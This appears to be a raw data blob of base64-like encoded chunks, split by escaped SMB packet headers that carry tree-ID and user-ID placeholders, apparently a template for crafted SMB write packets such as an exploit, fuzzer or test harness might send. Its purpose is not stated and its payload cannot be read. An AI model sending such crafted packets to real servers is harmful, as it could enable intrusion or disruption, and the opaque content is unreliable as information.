tlNK70imc7hJekUkLTg/voycWCazfNGX4kVPKKulSseJzg+RyjT/Fcn5dr66BsnKznEOauQ/jPtFRlpoTptketkqto4H2yRoNdw3p+jHUVaAYd0KWuQ5ACx3ISx68t7SX+n1LLtsB/UiwK9eEyLJEs92tUN3hAePoHQpUeKMqA66qFwypBXcJGo/DozC9ZpPdTTDWxm5QJCiG6cwVOyapdsttOPJ6M041u/ajk3fB9xJ5rNeRJvAnvC0G9TAWBirQNarF0510ha3xISYvyoLpwLF+eQxJN1E5Ezdhy10qQqJejfWelL0XdUu2jv0XaDg0mE0x+zgoxIpmKQIp7AMGyKYr7jhyYrmvswkb4gjYXnoQggTv2zYtHs6+Pf6x5eYVU+8yMG25loa2OIQ4JEjfDAJ+ihoiEQDrqj+L1/FzphXtqGvQkTx34OMOHgMNcasKdv96ykr7kDiDnmilhpek2gji9kju0pJFFcT/WdKy7jelCWuFMkBndIX8wlyGeaysOvYBBECd3eZ66npn8NWbz+z7hfQbR9LI2W9wO8TDCPCdkiYxM0AAYMz3iDaYhkcW73S5SSWLYnGm8I+S1c4hU7CKD84gEvn0vYZKE3dMKFvotZ/mMntRvIfX1ZuhRvmkD+PQyA5bRSyZicq0V2smJots3a2Fgv+/Znj9HbtMB62SdFfXBTkh6TOvVBigd6tD/FhXcBhnKOO3hxfxbekatKUmaLJfcc0XY9sjhdlOd72p8YNwAxY8I4JPm4KjjP9rRidIYd268eKpJrfSabnQl1pXICOmaXHI3JsleZU6xovShiyEBu2W/DtXh7XxhtCWyvRB6H1LJrce//t2eQI5lCh6Yj+BT5wD80g91YzO5y65ANi5bG1MgaX7fLkk2sIkdRfVrds/fFRp18Ru0TjDGtp56qCm+levn8ly7zR9hUIO3ecROVM3URLcpUagw8CromdrovaxV70KWJdAnZmLygbRIuSEn0SltQmAb5qC7BFIixqTjxDNvxo98ullF9qmwuyYmG6BUlmcDhnwJD2+cJtYfblgVNcrt8Y9W7+Jhzf9+h5xsfz3ScbSEmz42TyDa8lla2fMsQt8GOSSO/wFN00FVd+wuBcm0rGOv6VEZKJdpb9b4L/TRmZ3ltv6Cy7YXORpWRmhLXjHMyb2vYhy6F8KG8QUSpBt6JlA7Kwo9REui+EGCNHtWtQeFGu/rKcBMd1Sz5MF2uBLLOUa6snEous4C3Gsa6RD02aYO9aJxcvK2TvOneBOUArwewRgJJshizDUa/LVzLrA/HnaizLozZkat6ZH3pzGBQsXiZmNaXlXTVkAHn1Bu2Yx6bgtdFho9BjE40jabevewhaKDtl5QMUugNV189hxvkJshEFUAbIC/bK4s5ZMI\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\x83\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\x93\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\xa3\\x00\\x00\\x00\\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\\x00\\x00\\x105\\xffSMB3\\x00\\x00\\x00\\x00\\x18\\x07\\xc0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00__TREEID__PLACEHOLDER__\\xff\\xfe__USERID__PLACEHOLDER__@\\x00\\t\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x105\\x00\\xd0\\xb3\\x00\\x00\\x00\\x10u/9yl85QpGfBb9Oj8KRxfKBZIEdOHz3RlMS1pnxqHHtT0yLT1/GFBwJOPZrfbWzBFr4tOPmZ5y2Fst1Q/kLBz/Ff/t5apLPnF3npJ8fC9z6yzk2/LgFzZlI/keXJt3IJNznhHYN/RHxMwNUWiwli7izE1rm14f0S6XprBjM/D+VU7CNQfkbxxWMmTogkqPXjQBt9NOabv2z3a3SzLB5HskKw5UBIJiNoOso+DirelmBZCdQ8R6ZyROp4jY8Gz5kOWg21Js0VkcSJ23KVv2WAQevQmDfYl+Y7+SwPdPahdHhX3lB39mFTIMhhivQjPnAHQogpDwrIn0r5VR7oCRBjGcDZsqm0OI8NVSO+c72O/waJKxkEF0VStOK/4i0XZRqn7ejh5q9cIlCTUXz8alyAw5Y+lveA7J0kVSDQb97bQUDs72+S3UC5KJJcrrDy+W6iUexs4OK/YV39u2llWR4MtLrC+47OHZ7Unelqb4y+TVmJ4g8kyoTw5kr0HjXcqHgVFjjGgPwPsI1USuWkanPmDXlCUS3uUcEVAr6hHiMDrFZl17XlM8v0auI1RTMH91iYvd9G/WEouoXSCoe/6LK2byK8FhwyuRqpmwe0+TZpNKZmINFhmSpLbFCV9tvKEewCc0w8m0BdLso4O365pgvnlg4+6BCdH9Bfn7uVT9FhfBr7X1/0EybQiYzTjyjT0b80XfAy4xRsnEnaSavSbdOccaNFGrPbu56go4HySZkFTp96WDo+dvd8RDuSsg/CyHnrNRFDfgO1r2sybOwBl1wwrEpwLRyDeZGX0cmlUMy75v5q63wA2mQ7kfWQZzjXplDmeTWuTOdiZqrBEdhFnh7jiAyu7eDgqw1dm++BfeohU6Z2KquR293ClDn1Y/rnmGNfrnHOrlQ+yr6sZ0zaAXYxZpnXsRqnnr0q9yQY1LqxXOu07r/bqQ4nv4P75DpowM9V6MVlfPRJXProSON8pZaOvslBGPn2SOVyQD4TGSdHXanj6yWXPOC+7cmyH5AMgcwbEU7+Zet9ut3cE1l633CJQ6ThcqDbSdqUvtF/vsDYIvAgMQM9affu9mUxukShVG7grH+e8zKSxJBvgoJ95Ba9YW4xYFcjvZuQy75wRZRVtsIDtiQ3+l+u6Cn17XJUdrFteE6ABsovKGHDURoj4X/MilC2C9EmMdytDzraOXOoWg8aEHVyeyXijdOD4yw+T21PfksAzAIAgnkg